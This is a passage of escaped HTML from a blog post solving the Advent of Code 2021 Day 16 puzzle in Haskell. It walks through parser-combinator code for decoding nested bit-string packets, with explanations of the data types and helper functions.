  &lt;span class=&quot;token hvariable&quot;&gt;toBinary&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;%04s&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;showIntAtBase&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;01&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token hvariable&quot;&gt;subparse&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Parser&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;subparse&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;runParser&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;*&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;many&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt;
  &lt;span class=&quot;token constant&quot;&gt;Right&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;res&lt;/span&gt;
  &lt;span class=&quot;token constant&quot;&gt;Left&lt;/span&gt;  &lt;span class=&quot;token hvariable&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;trace&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;errorBundlePretty&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;undefined&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;parse&lt;/code&gt; takes a hex string, converts it to a binary string and parses it into a packet. The &lt;code&gt;subparse&lt;/code&gt; helper takes a parser and the binary as input string and runs the parser (leaving out any leftover &lt;code&gt;&#39;0&#39;&lt;/code&gt;s). We&#39;ll reuse &lt;code&gt;subparse&lt;/code&gt; with some differences later on, hence the reason we give it a generic type.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;runParser&lt;/code&gt; returns an &lt;code&gt;Either&lt;/code&gt; type. In this case, it means that it either returns a &lt;code&gt;Right&lt;/code&gt; case (denoting success) or &lt;code&gt;Left&lt;/code&gt; case (denoting failure).&lt;/p&gt;
&lt;h4 id=&quot;data-types&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-16/#data-types&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Data Types&lt;/h4&gt;
&lt;p&gt;Let&#39;s first define the structure of the data we&#39;re working with. With Haskell, we can easily define algebraic data types (ADTs) like so:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Packet&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Packet&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;PacketObj&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;deriving&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Show&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;PacketObj&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Literal&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Operands&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Packet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;deriving&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Show&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Each &lt;code&gt;Packet&lt;/code&gt; takes 2 &lt;code&gt;Int&lt;/code&gt;s (the version and type ID), followed by a &lt;code&gt;PacketObj&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;PacketObj&lt;/code&gt; can be an &lt;code&gt;Int&lt;/code&gt; &lt;code&gt;Literal&lt;/code&gt;...&lt;/li&gt;
&lt;li&gt;or it could be an operand with a list of packets (&lt;code&gt;[Packet]&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The data types are like a cornerstone to building our foundation. Without it, we become a bit lost when writing the algorithm. By writing our data types beforehand, we get a concrete idea of how the data is structured and partition, and what we need to do to get from &lt;s&gt;point&lt;/s&gt; data &lt;code&gt;A&lt;/code&gt; to &lt;s&gt;point&lt;/s&gt; data &lt;code&gt;B&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;One of the key points in these &lt;code&gt;Packet&lt;/code&gt; data structures is that a &lt;code&gt;Packet&lt;/code&gt; is a recursive type/object. This allows us the flexibility of recursion (as we&#39;ll see later in the &lt;code&gt;part1&lt;/code&gt; and &lt;code&gt;part2&lt;/code&gt; solutions).&lt;/p&gt;
&lt;h4 id=&quot;parser-combinators&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-16/#parser-combinators&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Parser Combinators&lt;/h4&gt;
&lt;p&gt;Usually when parsing text, the traditional solution is to use &lt;a href=&quot;https://www.regular-expressions.info/&quot;&gt;regex&lt;/a&gt;. The problem with regex, however, is that we don&#39;t get type information until after compiling, matching, and some extra parsing. Parser combinators are stronger in this regard, being composable and flexible while at the same time providing type information.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Type information may sound a little overrated, but typing is quite useful for &lt;a href=&quot;https://trebledj.me/posts/the-mathematics-of-types&quot;&gt;catching errors at compile-time and solidifying program logic without being sniped by a &lt;code&gt;RuntimeError&lt;/code&gt; later&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We can begin by writing the combinator that will consume &lt;code&gt;n&lt;/code&gt; bits.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;bits&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Parser&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;bits&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;digitChar&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;bits&lt;/code&gt; function takes an integer &lt;code&gt;n&lt;/code&gt; and returns a &lt;code&gt;Parser String&lt;/code&gt; that consumes that many &lt;code&gt;digitChar&lt;/code&gt;s.
&lt;code&gt;count&lt;/code&gt; and &lt;code&gt;digitChar&lt;/code&gt; are functions from the parsec library I&#39;m using.
&lt;code&gt;bits&lt;/code&gt; doesn&#39;t exactly consume bits but rather digits (0-9). However, we&#39;ll assume that it is fed only bits.&lt;/p&gt;
&lt;p&gt;Let&#39;s also define a function to convert from a binary string to a decimal (base-10) integer.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;fromBinary&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;fromBinary&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;foldl&lt;/span&gt;&#39; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;acc&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;d&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;acc&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;digitToInt&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We can then compose &lt;code&gt;fromBinary&lt;/code&gt; with the &lt;code&gt;bits&lt;/code&gt; parser to parse numbers and convert numbers.&lt;/p&gt;
&lt;h4 id=&quot;decoding-literal-packets&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-16/#decoding-literal-packets&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Decoding Literal Packets&lt;/h4&gt;
&lt;p&gt;Let&#39;s use our helper functions to write a parser for literal packets:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;packet&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Parser&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Packet&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;packet&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;version&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;fromBinary&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;bits&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;typeID&lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;fromBinary&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;bits&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;typeID&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
      &lt;span class=&quot;token hvariable&quot;&gt;bs&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;collectWhile&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;bits&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;1&#39;&lt;/span&gt;
      &lt;span class=&quot;token builtin&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Packet&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;version&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;typeID&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Literal&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;fromBinary&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;concatMap&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;drop&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;bs&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
      &lt;span class=&quot;token comment&quot;&gt;{- -- code for operand packets --  -}&lt;/span&gt;
 &lt;span class=&quot;token keyword&quot;&gt;where&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;collectWhile&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Parse while condition is true.&lt;/span&gt;
    &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;collectWhile&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Hopefully the majority of the code above is readable.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We first parse 3 bits of version and convert it to a decimal &lt;code&gt;Int&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Then 3 bits of type ID and also convert to a decimal &lt;code&gt;Int&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Next, we check the packet&#39;s &lt;code&gt;typeID&lt;/code&gt;. If it&#39;s &lt;code&gt;4&lt;/code&gt;, then it&#39;s a literal packet.&lt;/li&gt;
&lt;li&gt;We then try parsing the &lt;code&gt;PacketObj&lt;/code&gt; for literal packets: keep parsing groups of 5 bits until the group starts with a &lt;code&gt;&#39;1&#39;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Now we have a list of 5-bit groups stored in &lt;code&gt;bs&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The next line goes through the process of converting the bits into a single &lt;code&gt;Int&lt;/code&gt; and wrapping it as a &lt;code&gt;Packet&lt;/code&gt; type.&lt;/li&gt;
&lt;li&gt;The explanation for &lt;code&gt;collectWhile&lt;/code&gt;... is left as an exercise for the reader.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hoof- That was quite long-winded. But you can see how type information is being passed around. &lt;code&gt;version&lt;/code&gt; and &lt;code&gt;typeID&lt;/code&gt; are &lt;code&gt;Int&lt;/code&gt;s, because we parsed them from binary strings. We can now do &lt;code&gt;Int&lt;/code&gt;y things with them, e.g. comparison, just like &lt;code&gt;typeID == 4&lt;/code&gt; in the code above.&lt;/p&gt;
&lt;p&gt;We&#39;re also confident that we&#39;ve covered non-&lt;code&gt;Int&lt;/code&gt; edge cases because the parser engine and Haskell&#39;s type system will report it for us; and so if the parsing succeeds, we know that our data isn&#39;t a string, character, boolean, or monkey. We assumed there won&#39;t be out-of-bound issues since AOC usually constrains numbers to 32/64-bit ints. But if the need arises, we could always upgrade from &lt;code&gt;Int&lt;/code&gt;s to &lt;code&gt;Integer&lt;/code&gt;s (which are Haskell&#39;s equivalent of dynamically-sized integers).&lt;/p&gt;
&lt;h4 id=&quot;decoding-operand-packets&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-16/#decoding-operand-packets&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Decoding Operand Packets&lt;/h4&gt;
&lt;p&gt;For operand packets, let&#39;s define another parser helper for parsing subpackets. We&#39;ll take as argument an &lt;code&gt;Int&lt;/code&gt; (the length type ID) and return a parser that parses a list of (sub)packets.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;operands&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Parser&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Packet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;operands&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;-- Length type ID == 0 ---&amp;gt; length-based operand&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;len&lt;/span&gt;      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;fromBinary&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;bits&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;15&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;subparse&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;some&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;packet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;bits&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;len&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;operands&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;-- Length type ID == 1 ---&amp;gt; count-based operand&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;num&lt;/span&gt;      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;fromBinary&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;bits&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;11&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;num&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;packet&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Pretty straightforward. For length-based operands: parse the &lt;code&gt;len&lt;/code&gt;gth, then &lt;code&gt;parse&lt;/code&gt; 1 or more &lt;code&gt;packet&lt;/code&gt;s out of the next &lt;code&gt;len&lt;/code&gt;gth bits. Count-based operands are even more straightforward: parse the expected &lt;code&gt;num&lt;/code&gt;ber of subpackets, then parse the &lt;code&gt;num&lt;/code&gt; packets.&lt;/p&gt;
&lt;p&gt;In both cases, subpackets are parsed by recursing to the &lt;code&gt;packet&lt;/code&gt; parser, which we can now finish:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;packet&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Parser&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Packet&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;packet&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
